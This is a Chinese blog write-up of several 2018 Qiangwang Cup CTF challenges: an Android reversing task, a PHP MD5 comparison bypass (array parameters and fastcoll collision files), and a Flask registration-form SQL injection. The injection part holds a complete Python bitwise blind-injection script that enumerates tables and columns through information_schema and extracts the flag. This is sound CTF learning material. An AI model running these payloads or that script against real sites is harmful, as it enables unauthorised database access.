第二届强网杯-QWB-部分Writeup

20171010114317454.jpg

一个关注度很高、奖励很丰富的比赛,大佬很多很多
将比赛自己写出的一些题总结一下

前言

这次比赛参赛的人一万三,着实吓了一跳,还有很多很多的企业队伍
但是与我无关,我是来凑热闹2333
有些题目确实比较有质量,一些大佬队都没拿下一血。也出现了一些web+pwn的新题型(如wechat那个题,简直了),还有一些无源码的pwn也着实长见识了(pwn方面我学的那点玩意完全用不上)

Reverse

SimpleCheck

这题很眼熟,好像之前在某个比赛见过,一个很简单的逆向
用dex2jar这个工具将apk中的dex逆向出java代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class MainActivity
extends c
{
protected void onCreate(final Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130968603);
paramBundle = (EditText)findViewById(2131427422);
findViewById(2131427423).setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
if (a.a(paramBundle.getText().toString()))/*a.a()函数是关键*/
{
Toast.makeText(jdField_this, "You get it~", 1).show();
return;
}
Toast.makeText(jdField_this, "Sorry its wrong", 1).show();
}
});
}
}

很明显a.a()这个函数是关键点,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class a
{
private static int[] a = { 0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312 };
private static int[] b = { 13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108 };
private static int[] c = { 38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666 };
private static int[] d = { 0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562 };
public static boolean a(String paramString)/*传进输入框的String*/
{
if (paramString.length() != b.length) {/*长度与b数组等长*/
return false;
}
int[] arrayOfInt = new int[a.length];
arrayOfInt[0] = 0;
paramString = paramString.getBytes();
int k = paramString.length;
int i = 0;
int j = 1;
while (i < k)/*arrayOfInt[0]=0然后后面的数值为传入字符串的拷贝*/
{
arrayOfInt[j] = paramString[i];
j += 1;
i += 1;
}
i = 0;
for (;;)
{
if (i >= c.length) {
break label166;
}/*检验函数*/
if ((a[i] != b[i] * arrayOfInt[i] * arrayOfInt[i] + c[i] * arrayOfInt[i] + d[i]) || (a[(i + 1)] != b[i] * arrayOfInt[(i + 1)] * arrayOfInt[(i + 1)] + c[i] * arrayOfInt[(i + 1)] + d[i])) {
break;
}
i += 1;
}
label166:
return true;
}
}

很明显检验函数检查了arrayOfInt[i]arrayOfInt[i+1]a、b、c、d数组的关系,其实就是 a=b*x1^2+c*x1+d && a=b*x2^2+c*x2+d
我们至于要这四个数组拿出来然后将输入的数值逐个爆破就成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
a = [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818,
559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524,
417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557,
440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b = [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932,
37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968,
45654, 51972, 64956, 45293, 64752, 37108]
c = [38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762,
59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879,
14436, 60468, 19926, 47198, 8406, 64666]
d = [0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406,
540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124,
-68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507,
258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]
flag = []
i = 0
while i < len(b):
for front in range(33, 128):
for back in range(33, 128):
if (a[i] == b[i] * front * front + c[i] * front + d[i]) and (
a[i + 1] == b[i] * back * back + c[i] * back + d[i]):
print front, back
flag.append(chr(front))
i += 1
print "".join(flag) + "}"

22-20-11.jpg

Web

Web签到

源码找到提示
第一关
22-22-20.jpg
老套路了,用数组就可以绕过,因为md5()函数遇到数组会返回NULL,然后就绕过了
Payload :param1[]=1&param2[]=2
第二关
22-22-27.jpg同理,上次的Payload也能绕过
第三关
22-25-25.jpg

多了个(string)强制类型转换,再也不能用数组绕过了,因为(string)强制类型转换之后数组会变成Array,而这玩意即使你数字里面的值是不一样的也会判断为相等。
这里我们可用MD5相同的碰撞文件进行绕过
利用到一个相同MD5文件生成的程序fastcoll.exe,作用是生成两个不同内容但是MD5的值却是一样的文件(猜测应该是基于我国信安领域的风云人物——王小云教授的快速MD5碰撞算法)
用工具生成两个文件之后用python对文件进行url编码再上传就可以了

1
2
3
4
5
6
7
import urllib
f1 = open("./msg1.bin","rb")
f2 = open("./msg2.bin","rb")
m1 = f1.read()
m2 = f2.read()
print urllib.quote(m1)
print urllib.quote(m2)

23-55-55.jpg

Python_is_the_best_language1

拿到源码发现是flask的web站,简单浏览了一下,由于之前就耳闻flask不用担心sql注入之类的言论,我就没太注意注入这方面反而去寻找有没有提示以及模板注入之类的
最后发现类似于

1
user = query_db('select * from users where username = %s' % "请求的参数"

这种用格式化字符串构造sql语句的是仍然会产生sql注入的,而

1
user = query_db('select * from users where username = ?', [the_username], one=True)

这种的危险字符将会被转义而不用担心sql注入问题
在源码的form.py中的RegistrationForm类发现email并没有过滤,而是直接调用了自己写的mysql.One()函数
00-03-07.jpg
看起来注入点很可能是在这里
来到others.py中定义的mysql.One()
00-04-05.jpg

继续跟踪函数mysql.Sel()
00-04-37.jpg

很明显看到构造的语句并没有使用flask带的转义功能而是直接凭借Sql语句然后返回的
于是我们可以利用注册界面构造email参数为注入语句

1
email = ' or ord(substr((查询语句) {字符串偏移} , 1 ))&{按位与}

由上可知邮箱找到及sql语句为真时会raise一个Please use a diffrent email address.错误,我们可以用来当盲注的依据。唯一要注意的是我们需要将注册页面的token爬下来顺便带上,提交后下次的token也要带上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests, re
url = "http://117.50.16.51:20000/register"
r = requests.get(url)
token = re.findall('<input id="csrf_token".*?value="(.*?)">', r.text)[0]
str = ''
payload_db = "(database())"
# flask
payload_tables = "(select\x20group_concat(table_name)\x20from\x20information_schema.tables\x20where\x20table_schema=database())"
# flaaaaag,followers,post,user
payload_columns = "(select\x20group_concat(column_name)\x20from\x20information_schema.columns\x20where\x20table_name='flaaaaag')"
# flllllag
payload_flag = "(select\x20flllllag\x20from\x20flaaaaag)"
#QWB{us1ng_val1dator_caut1ous}
l = [1, 2, 4, 8, 16, 32, 64]
for i in range(1, 50):
n = 0
for j in l:
payload = "'or\x20ord(substr(" + payload_flag + ",{},1))&{}#@gmail.com".format(i, j)
post_data = {
'csrf_token': token,
'username': 'testzero',
'email': payload,
'password': 'sa',
'password2': 'sa',
'submit': 'Register'
}
r = requests.post(url, data=post_data)
token = re.findall('<input id="csrf_token".*?value="(.*?)">', r.text)[0]
if "different email address" in r.text:
n += j
str += chr(n)
print str

00-12-41.jpg

MISC

Welcome

很简单的位移然后加入其他干扰的像素点,丢进Stegsolve偏移100就能看到flag了
22-05-12.jpg
最后混得了个206名,也不知道有没有个安慰奖

总结

  • PWN题太嫩了,学了几个月门也没算进
  • Web的漏洞积累薄弱,一些新漏洞、新奇的漏洞都未涉及,导致思维面过窄
  • 此次比赛见识到自己的很多如积累过少、认识过浅等致命缺点,任何领域的熟悉、精通都绝非易事

期间经历了很多事
人生不就是起起落落落落落落落落落落落落落落落落落落落落落落落落么

]GSXMJ5UWA@JXUOGWYFN3]I.jpg


----- 感谢阅读 -----